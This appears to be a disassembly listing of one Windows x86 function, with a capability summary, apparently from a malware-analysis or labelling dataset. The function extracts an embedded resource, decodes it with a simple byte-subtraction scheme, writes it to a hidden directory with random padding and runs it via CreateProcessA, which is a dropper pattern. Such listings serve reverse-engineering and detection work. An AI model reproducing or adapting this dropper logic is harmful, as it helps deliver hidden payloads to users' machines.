Function at 0x401a2d
Capabilities:
Create directory
Create process on windows
Create process suspended
Extract resource via kernel32 functions
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5b0
push ebx
push esi
push edi
push 0x4061f8
xor ebx, ebx
push 0x84
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
cmp edi, ebx
je 0x401a60
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
cmp esi, ebx
jne 0x401a67
xor eax, eax
jmp 0x401d5e
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
push esi
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x401a96
movzx eax, byte [esi]
mov dword [ebp - 0x10], eax
xor edi, edi
movzx eax, byte [esi + 1]
cmp dword [ebp - 8], ebx
mov dword [ebp - 0xc], eax
jle 0x401adb
mov eax, edi
push 3
cdq
pop ecx
idiv ecx
cmp edx, 2
jne 0x401abd
mov al, byte [ebp - 0x10]
sub byte [edi + esi], al
cmp edx, 1
jne 0x401ac8
mov al, byte [ebp - 0xc]
sub byte [edi + esi], al
cmp edx, ebx
jne 0x401ad5
mov al, byte [ebp - 0xc]
add al, byte [ebp - 0x10]
sub byte [edi + esi], al
inc edi
cmp edi, dword [ebp - 8]
jl 0x401aaa
jmp 0x401aeb
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x1a7]
mov byte [ebp - 0x1a8], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x2ab]
mov byte [ebp - 0x2ac], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x1f]
mov byte [ebp - 0x20], bl
push 5
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x20]
push eax
call fcn.0040174f
mov edi, dword [0x4065a0]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x1a8]
push 0x4061f0
push eax
call edi
add esp, 0x14
call fcn.0040319e
jmp 0x401b62
lea eax, [ebp - 0x1a8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x401b97
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x1a8]
push 0x4061e8
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x1a8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x1a8]
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x10
lea eax, [ebp - 0x20]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x20]
push 5
push eax
call fcn.0040174f
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x1a8]
push eax
lea eax, [ebp - 0x2ac]
push 0x4061dc
push eax
call edi
add esp, 0x24
lea eax, [ebp - 0x2ac]
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
push ecx
push dword [ebp - 8]
mov dword [ebp - 0x38], eax
push esi
push eax
call edi
mov esi, dword [sym.imp.MSVCRT.dll_rand]
call esi
cdq
mov ecx, 0xff
idiv ecx
push edx
mov dword [ebp - 0x24], edx
call sub.MFC42.DLL_operatornew
pop ecx
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x24]
cmp ecx, ebx
jle 0x401c61
mov dword [ebp - 0xc], 0xfa
mov dword [ebp - 8], eax
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x10], ecx
call esi
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
add ecx, edx
cdq
idiv ecx
mov eax, dword [ebp - 8]
inc dword [ebp - 8]
dec dword [ebp - 0x10]
mov byte [eax], dl
jne 0x401c47
lea eax, [ebp - 4]
mov esi, dword [ebp - 0x38]
push ebx
push eax
push dword [ebp - 0x24]
push dword [ebp - 0x3c]
push esi
call edi
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 4]
push ebx
push eax
push 2
push 0x4061d8
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 8
mov esi, 0x4061b4
pop ecx
lea edi, [ebp - 0x60]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x5af]
mov byte [ebp - 0x5b0], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x3af]
mov byte [ebp - 0x3b0], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x3b0]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x3b0]
push eax
lea eax, [ebp - 0x2ac]
push eax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x5b0]
push 0x4061a0
push eax
call dword [0x4065a0]
add esp, 0x14
xor eax, eax
lea edi, [ebp - 0xa0]
push 0x10
pop ecx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x34]
mov dword [ebp - 0xa4], 0x44
push eax
lea eax, [ebp - 0xa4]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x5b0]
push ebx
push eax
mov dword [ebp - 0x9c], 0x406190
mov word [ebp - 0x74], bx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x401d5b
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret